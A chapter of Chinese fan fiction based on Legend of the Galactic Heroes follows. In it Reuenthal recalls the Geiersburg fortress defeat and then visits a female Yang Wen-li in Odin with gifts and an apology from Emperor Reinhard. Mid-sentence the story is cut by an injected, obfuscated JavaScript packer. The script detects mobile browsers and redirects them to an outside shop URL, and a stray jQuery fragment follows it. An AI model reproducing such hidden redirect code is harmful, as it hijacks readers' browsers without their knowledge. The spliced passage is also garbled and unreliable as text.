13.2-7
作品:《[银英|莱杨]和谐的转轮》 罗严塔尔与杨文里最接近正面交手的记录,发生在宇宙历798年四月。其时帝国军做出大胆的技术性突破,在巨大要塞“秃鹰之城”上加装引擎进行长距离空间跳跃,与坎普上将率领的舰队一同入侵伊谢尔伦回廊。
此次进攻的结局是众所周知的。在史无前例的要塞对决中,坎普上将身亡,出征的一万六千艘帝国舰艇只残余二十分之一,一百八十万参战官兵几乎全军覆没。当罗严塔尔和米达麦亚率领的援军抵达时,看到了漂浮在宇宙中,曾经以“秃鹰之城”为名的无数残骸,以及视线尽头的伊谢尔伦要塞——直径六十公里,以镜面金属、结晶纤维与超硬度陶瓷所包裹的洁白人工球体,如同一位高贵而危险的女王,静静伫立在被血与火浸染的虚空深处。
“怎么办,要打吗?”收拾完缪拉带领的残兵后,米达麦亚给他发来通讯,“那个杨文里可能也在追击的舰队之中。”
“虽然想试试较量一次,现在再战也没有意义了吧?”罗严塔尔做出了撤退的决定。
米达麦亚发出了令听到的人都印象深刻的叹息。
“动员千万大军甚至要塞,辛苦筹谋数千光年的长途远征,所换得的代价竟然是一败涂地,独独造就杨文里一个人的威名吗?”*
但就罗严塔尔来说,时常在心中反刍的还有其后的场景。归来复命后,罗严塔尔不得不向上司提出心中早已埋藏的问题:“在下官看来,此次出征的目的本就有些含糊。若要您来排兵布阵的话,要如何利用我方的要塞与敌军要塞对决呢?”
“目标是为了削弱敌方的力量。就算用秃鹰之城来撞击伊谢尔伦,两者一起同归于尽也好,只要能形成足够破坏就可以了。”
“这……坎普是想要以秃鹰之城为据点,和敌人作面对面的挑战。”
“下令选择他的人是我,我也难辞其咎。”对方做出了堪称冷漠的答复,“虽然现在发现为时过晚。但就坎普此人来说,已经是他的极限了吧。”*
当时佩戴帝国元帅肩章的俊美年轻人把报告书丢在桌面上,苍冰般的双眸望向黑色的宇宙深处。那一刻,罗严塔尔直接地感受到,对这个一败涂地的结果,莱因哈特不感到愤怒,也没多大失望。这数千光年的远征,对帝国统治者来说,只是“试一试”的动作罢了。
如此大动干戈的进军,意义就仅止于此吗?
他同时产生了另一个非常不当、并格外残忍的猜想:或许莱因哈特本身对秃鹰之城就怀有厌恶的感受。
齐格飞·吉尔菲艾斯正是死在这座要塞内部。他死后,莱因哈特犹如失去了灵魂的半身。因此,这曾经威名赫赫的恢弘要塞,仿佛一颗因沾染了清洗不去的污渍而被新主人厌恶的弹球。年轻的统治者就这样抬起手来,把这弹球抛向浩瀚银河、数千光年外的另一侧……
而他所选定的对手予以回应。杨文里同样伸出手来,轻巧地把这颗玻璃球碾碎了。
除了齐格飞·吉尔菲艾斯以外,其他的所有人都是工具吗?在那耀眼的金色光辉下,罗严塔尔第一次想到,“既然这样,如果换我来的话……”
***
新帝国建立以来,罗严塔尔几乎没有再想起那个念头。其一是因为国家草创,他着实非常忙碌。其二是因为,他和帝国大部分将官一样,正兴致勃勃地观赏“凯撒VS杨文里”的这一轮情感对决。
或许与姐姐被迫成为皇帝宠妃的经历有关,莱因哈特对性的概念有潜意识的排斥。当他自己成为皇帝之后,更总是把浪漫关系与利益、暴力、政治交换等负面词汇联系起来。再加上身边幕僚时不时做出各种违背道德的揣测与暗示,年轻而有洁癖的君主好像产生了强烈的逆反心理。无论旁观者如何评价,他坚持认为自己对敌方统帅的特殊待遇是出于尊重——即使有时候,这显得有些欲盖弥彰了。
“青瓷茶具套装,大吉岭高地红茶礼盒,地球教缴获的古地球历史文献。”罗严塔尔对面露讶然的收件人介绍道,“还有66枝混色野玫瑰花束——只有最后这样是在下的品味,其他的都是今天早上新无忧宫托我给您带来的。”
“谢谢……我……为什么要强调是66枝?”被庞大花束淹没的前同盟元帅看起来有点晕头转向。
“花店的小姐说这是神秘的E式文化数字,怎么,您不知道吗?”
“我在这方面了解有限。”杨干巴巴地说,她看看一脸促狭笑意的罗严塔尔,又看看门外街道上如临大敌的警卫们,“……请您先进来吧。”
这位客人的新居所在奥丁市区近郊的一个安静街区,以罗严塔尔的观察,这二层小楼附近前后的住户大多都是特勤人员。与声势浩大的礼品相比,杨文里穿得完全像是居家的样子。她的白色短衬衫外披着一件宽松的薄外套,蓝色牛仔裤下露出光着的脚趾。黑发随意地用一个发卡盘在脑后。
“冒犯了。”高大的帝国元帅一走进门就说,“我以为宫内省已经知会您我要拜访……”
“我知道呀。”杨回答,“我们烧了茶。”
这位名震银河的将领不确定地四处看了看,然后在玄关旁的地毯角落给罗严塔尔指了一双还带着吊牌的男式居家拖鞋。
“喏,我还叫希雅去买了鞋子。”
所提到的名字应该是配备给这位特殊客人的年轻侍从兵,是一个身材高挑、有着奥丁常见的绿眼睛的橘色头发少女,穿的制服上有上士的肩章。她手里攥着围裙盯着军服笔挺的罗严塔尔,看起来毫无准备,且紧张得要晕过去了。
***
“该怎么说呢。”在整洁得像样板房一样的客厅落座后,罗严塔尔仍然没有放下心中的惊奇感,“虽然预料到您不会为见在下而正装打扮,但这样不辞辛劳地跑来充当信鸽,就只配得到一双额外的拖鞋吗?”
“我为了迎接您在周六早上九点就起床洗漱了。并且这双占地方的拖鞋加上税要二十八帝国马克,用完后您可以带走。请问还有什么要求?”
“表达友谊的拥抱或价值万金的贴面礼都可以。”
“您真是幽默。”
“握手礼也可以勉为其难地接受。您知道,最近一段时间特别有名气的那种。”
“虽然不知道您在说什么名气。但那个动作目前在我这里已经被禁止了。”
这么说着的时候,侍从兵已经安置好了花束,小心翼翼地给帝国元帅端上茶杯。罗严塔尔对她抿唇一笑,女孩的手显而易见地颤抖了一下。
“这孩子才只有十六岁,请不要对她施展您的魔法。”
“那可怎么办?毕竟魔法在另一位女士面前无法施展啊。”
杨文里忍不住笑了一下。她的目光终于离开了被仔细包装好的纸质书籍封面——忠实的信使暗自揣测可以把这个信息回报给皇帝,转向罗严塔尔,问道:“好吧,劳您远道而来,您要和我说什么?”
“在那之前我想问,您真的不知道我说的‘名气’是什么吗?”
“贵国没有新闻管控的吗?”
“看起来‘我们’的伟大帝国比您预想得更有言论自由,这想必很让您高兴吧?”
杨认命地叹了口气。
“我收看到的都是官方频道。”
“您不想听听民间说法吗?”
“不是很想。”
“等我出了这扇门,您可就未必能知道了。”
“看来您非要说了,请讲吧。”
“那可太多了!”罗严塔尔兴致盎然,“首先是宫内省一口咬定、并且很多人愿意相信的说法是,大家误会了,图片都是假的,压根无事发生。”
“这完全是事实啊。”
“第二个版本是,两位军事天才惺惺相惜,眼看要用联姻达成五百年未有的银河大和解。”
“那种事是靠联姻能做到的吗?”
“第三个版本是,帝国皇帝巧取豪夺把意中人劫回本土,前同盟元帅仍在负隅顽抗。”
“……”
“第四个在本地特别流行的说法是,阁下对美貌绝伦的帝国皇帝一见钟情,跨越一万光年追逐至此,但皇帝目前还没有接受。”
“……啊?”
杨文里目瞪口呆。而罗严塔尔总算报了此生唯一一次被女士不化妆接待的一箭之仇,在对方的客厅里发出惬意的笑声。
最后这种论调,无论从逻辑和情理上都应该无人采信才是,但在对皇帝的极端崇拜蔚然成风的奥丁,广受支持也不奇怪。杨闭了一下眼睛,看起来正在把这些被迫获得的信息从脑子里删掉。
“很高兴用我的痛苦给您带来了一点乐趣。现在说正事吧。”
“这怎么不是正事?在下还多少在选项三上押了一点钱呢。”
“罗严塔尔阁下。”
“言归正传——皇帝陛下请我代他来表达歉意。‘之前的冒犯并非有意为之。希望您能既往不咎。’”
杨愣了一下:“什么冒犯?”
罗严塔尔也愣了:“我以为一般会问的问题是‘他怎么不自己来’。”
“这也是个问题吧。但是……哦,如果说是前几天邱梅尔府邸的事的话,您可以回复陛下,他不必放在心上,我没有生气。”
“原来如此,只有亲卫部队知道细节。我没有意识到……”这么说的时候,罗严塔尔不由仔细观察了一下对方,然后他吃了一惊。
“那个,是陛下的行为导致的吗?”
“喔……”
在沙发上落座以后,宽松的袖子滑落下去,能看到杨的左手臂上有一整块指痕状的淤青,已经变成吓人的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006992|193923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
深色。她尴尬地把外套拉好。
“喔,这个的话,情况特殊,我也没有在意。”
“这是两件事?”
这下换罗严塔尔目瞪口呆了。他不由觉得自己着实轻率地接受了一个不该承担的任务,并贴心地为对方考虑起来:“以在下的意见,这种情况下,您先别接受道歉,应该发点脾气。”
“什么?”
“在男人犯错时很容易就被哄好,对方就会不知悔改且变本加厉。这可是经验之谈啊。”
他自以为颇为深思熟虑,甚至还出于绅士风度悄悄背叛了自己的老板。但对面的黑发女子露出不耐烦的表情。
“罗严塔尔提督,请适可而止吧。”
“诸君有很多有趣的误会。”杨对那束芳香四溢的鲜花做了个笼统的手势,她的语调明显变冷淡了,“但事情没有那么复杂。请您回复皇帝陛下,他多虑了,情况特殊,我没有介意。”
“……”
一阵冷峻的沉默,罗严塔尔再次说话了。
“您不会真的住在新无忧宫里,还想着要拯救自由行星同盟吧?”
他的语调也变了,失去了此前的圆融光滑,变得冷酷而讥诮。杨注视着他。这一次两人的对视与以往不同,罗严塔尔回想着,更像是出现在海尼森的官邸里。
“且不论您的指控十分荒谬。这里并不是新无忧宫。”
“看得出您为此付出了不少努力,不过在我看来相差无几。”罗严塔尔嘲讽地说,“那这些日子您不关心礼仪,也不关心花卉,通过官方新闻,对时局做何看法?雷内肯普做了同盟领的事务官,您知道这件事吧?”
“是的,这令人遗憾。”
“怎么说?”
“我与雷内肯普上将交战过,他并非是一个有弹性的人。当然,这恐怕是帝国有意的设计吧。”杨文里回答,“如果是阁下这样武勋过人,又知道变通的帝国官僚去治理海尼森,我会放心很多。”
“承蒙看中,恐怕我目前抽不开身。”
“确实。那个职位对阁下来说,也未必是好事。”
“为什么这么说?”
“被授权管理如此遥远的巨大疆域,当然证明皇帝的信任,也很容易与中央离心。”杨文里说,“恕我直言,阁下看起来不是让人完全放心的部下呢。被派遣做一方大员后,很容易被说服或构陷谋反,历史上这样的事屡见不鲜。”
“皇帝陛下对在下十分信任。”
“当然,不然您和米达麦亚元帅不可能同时身为统帅本部总长和宇宙舰队总司令。”黑发的魔术师说,“掌握帝国大部分军权的‘双璧’,居然是好友,以集权统治的思路,未免太危险了吧?派遣其中一方管辖新领土,是最名正言顺的分权手段。我有幸和奥贝斯坦元帅说过几次话,这完全像是他会提出的方案。”
“……”
“您也这么觉得?看来您确实有很大可能成为我故乡的下一任总督呢,罗严塔尔阁下。”杨笑了一下,“不过那会持续多久就不好说了。也未必是我能看到的事了吧。”
有一会儿,罗严塔尔坐着不动,他盯着正越过沙发,取过茶壶往瓷杯里添水的黑发女子。感到一阵久违的惊愕感,仿佛首次在黑暗深空中看到那颗纯白的人工球体时一样,战栗的感觉在颈后升起。
“我猜,您没有把这番想法对皇帝陛下,或其他人说吧?”
“当然不会。”杨不以为然地说,“我对帝国事务不感兴趣,只是和您聊天罢了。”
然后她想起什么,谐谑地对他笑了笑:“不过谁会听到就不知道了。毕竟这里虽然不是新无忧宫,但也相差无几啊。”
***
这一刻,罗严塔尔忽然意识到,早先他可能判断失误。当皇帝私下对他表示,有时忍不住想要攻击杨文里时,他好笑地认为,那是年轻人分不清欲望和侵略感的荷尔蒙躁动——但此时,作为一个多年经受严格等级制熏陶的帝国军人,面对着以肆无忌惮的思路、和事不关己的态度,随意对他做出预测的杨文里——罗严塔尔,确实想要攻击她。
而且是需要在她如此傲慢的领域把她压服、击倒,令她的双眼中流露出懊丧,对自己的挑衅做出明确的悔悟不可。
想做就做吧!在忽然的冲动中,罗严塔尔说出了今天早上出门前,他万万没想到要说的句子。
“很久以前就想过,有缘应当向您请教兵法。在下常去的俱乐部里有模拟对战的机位,您有兴趣赏光吗?”
“啊?”被他异色双眸锁定的敌将想了想,“你们的俱乐部提供白兰地吗?”
————
*帝国军对话基本化用《雌伏篇》原句,然而心理活动都是编造的。
*没有罗杨!纯洁的敌对关系(?

